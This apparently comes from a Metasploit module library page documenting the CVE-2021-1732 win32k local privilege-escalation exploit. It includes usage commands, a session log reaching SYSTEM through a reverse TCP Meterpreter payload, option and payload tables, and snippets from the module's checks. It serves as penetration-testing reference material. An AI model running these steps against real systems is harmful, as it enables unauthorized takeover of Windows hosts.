Win32k ConsoleControl Offset Confusion - Metasploit
This page contains detailed information about how to use the exploit/windows/local/cve_2021_1732_win32k metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Win32k ConsoleControl Offset Confusion
Module: exploit/windows/local/cve_2021_1732_win32k
Source code: modules/exploits/windows/local/cve_2021_1732_win32k.rb
Disclosure date: 2021-02-10
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-7255, CVE-2021-1732
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-os-restarts: Module may crash the OS, but the OS restarts.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/windows/local/cve_2021_1732_win32k
msf exploit(cve_2021_1732_win32k) > show targets
... a list of targets ...
msf exploit(cve_2021_1732_win32k) > set TARGET target-id
msf exploit(cve_2021_1732_win32k) > show options
... show and set options ...
msf exploit(cve_2021_1732_win32k) > set SESSION session-id
msf exploit(cve_2021_1732_win32k) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation.
Installation And Setup
Windows 10 versions 1803 through 20H2 (without the patch) are vulnerable out of the box. This exploit module has been tested on all 6 affected versions of Windows.
Verification Steps
- Start msfconsole
- Get a Meterpreter session on a vulnerable host
- Do:
use exploit/windows/local/cve_2021_1732_win32k - Set the
SESSIONandPAYLOADoptions - Do:
run - You should get a shell.
Scenarios
Windows 10 Version 20H2 Build 19042.746 x64
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-JKM0HAD\aliddle
meterpreter > sysinfo
Computer : DESKTOP-JKM0HAD
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/local/cve_2021_1732_win32k
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2021_1732_win32k) > set SESSION -1
SESSION => -1
msf6 exploit(windows/local/cve_2021_1732_win32k) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2021_1732_win32k) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/local/cve_2021_1732_win32k) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Launching notepad to host the DLL...
[+] Process 7672 launched.
[*] Reflectively injecting the DLL into 7672...
[*] Sending stage (200262 bytes) to 192.168.159.66
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.66:60838) at 2021-03-15 17:56:28 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/local/cve_2021_1732_win32k exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/cve_2021_1732_win32k
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2021_1732_win32k) > show info
Name: Win32k ConsoleControl Offset Confusion
Module: exploit/windows/local/cve_2021_1732_win32k
Platform: Windows
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2021-02-10
Provided by:
BITTER APT
JinQuan
MaDongZe
TuXiaoYi
LiHao
KaLendsi
Spencer McIntyre
Module stability:
crash-os-restarts
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Windows 10 v1803-20H2 x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
A vulnerability exists within win32k that can be leveraged by an
attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. The
flaw exists in how the WndExtra field of a window can be manipulated
into being treated as an offset despite being populated by an
attacker-controlled value. This can be leveraged to achieve an out
of bounds write operation, eventually leading to privilege
escalation.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-1732
https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/
https://github.com/KaLendsi/CVE-2021-1732-Exploit
https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732
https://www.fuzzysecurity.com/tutorials/expDev/22.html
https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm
https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html
https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html
Module Options
This is a complete list of options available in the windows/local/cve_2021_1732_win32k exploit:
msf6 exploit(windows/local/cve_2021_1732_win32k) > show options
Module options (exploit/windows/local/cve_2021_1732_win32k):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 10 v1803-20H2 x64
Advanced Options
Here is a complete list of advanced options supported by the windows/local/cve_2021_1732_win32k exploit:
msf6 exploit(windows/local/cve_2021_1732_win32k) > show advanced
Module advanced options (exploit/windows/local/cve_2021_1732_win32k):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ForceExploit false no Override check result
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/cve_2021_1732_win32k module can exploit:
msf6 exploit(windows/local/cve_2021_1732_win32k) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 10 v1803-20H2 x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2021_1732_win32k exploit:
msf6 exploit(windows/local/cve_2021_1732_win32k) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
43 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
44 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
45 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
46 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
47 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
48 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
49 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
50 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
51 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
52 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
53 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
54 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
55 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
56 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
59 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
60 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
61 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
62 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/cve_2021_1732_win32k exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/cve_2021_1732_win32k) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The exploit only supports Windows 10 versions 1803 - 20H2
Here is a relevant code snippet related to the "The exploit only supports Windows 10 versions 1803 - 20H2" error message:
80:
81: build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
82: vprint_status("Windows Build Number = #{build_num}")
83:
84: unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19042)
85: print_error('The exploit only supports Windows 10 versions 1803 - 20H2')
86: return CheckCode::Safe
87: end
88:
89: CheckCode::Appears
90: end
Session is already elevated
Here is a relevant code snippet related to the "Session is already elevated" error message:
89: CheckCode::Appears
90: end
91:
92: def exploit
93: if is_system?
94: fail_with(Failure::None, 'Session is already elevated')
95: end
96:
97: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
98: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
99: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
Running against WOW64 is not supported
Here is a relevant code snippet related to the "Running against WOW64 is not supported" error message:
93: if is_system?
94: fail_with(Failure::None, 'Session is already elevated')
95: end
96:
97: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
98: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
99: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
100: fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
101: elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
102: fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
103: end
Session host is x64, but the target is specified as x86
Here is a relevant code snippet related to the "Session host is x64, but the target is specified as x86" error message:
95: end
96:
97: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
98: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
99: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
100: fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
101: elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
102: fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
103: end
104:
105: encoded_payload = payload.encoded
Session host is x86, but the target is specified as x64
Here is a relevant code snippet related to the "Session host is x86, but the target is specified as x64" error message:
97: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
98: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
99: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
100: fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
101: elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
102: fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
103: end
104:
105: encoded_payload = payload.encoded
106: execute_dll(
107: ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-1732', 'CVE-2021-1732.x64.dll'),
Go back to menu.
Related Pull Requests
- #15575 Merged Pull Request: Update Gemfile.lock
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions
References
- CVE-2021-1732
- https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/
- https://github.com/KaLendsi/CVE-2021-1732-Exploit
- https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732
- https://www.fuzzysecurity.com/tutorials/expDev/22.html
- https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm
- https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html
- https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html
See Also
Check also the following modules related to this module:
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1313_system_orchestrator
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
- exploit/windows/local/ms18_8120_win32k_privesc
Related Nessus plugins:
- KB4601315: Windows 10 Version 1909 February 2021 Security Update
- KB4601345: Windows 10 Version 1809 and Windows Server 2019 February 2021 Security Update
- KB4601354: Windows 10 Version 1803 February 2021 Security Update
- KB4601319: Windows 10 version 2004 Feb 2021 Security Update
- KB5009543: Windows 10 Version 20H2 / Windows 10 Version 21H1 / Windows 10 Version 21H2 Security Update (January 2022)
- KB5009545: Windows 10 Version 1909 Security Update (January 2022)
- KB5009555: Windows Server 2022 Security Updates (January 2022)
- KB5009557: Windows 10 Version 1809 and Windows Server 2019 Security Update (January 2022)
- KB5009566: Windows 11 Security Updates (January 2022)
Authors
- BITTER APT
- JinQuan
- MaDongZe
- TuXiaoYi
- LiHao
- KaLendsi
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
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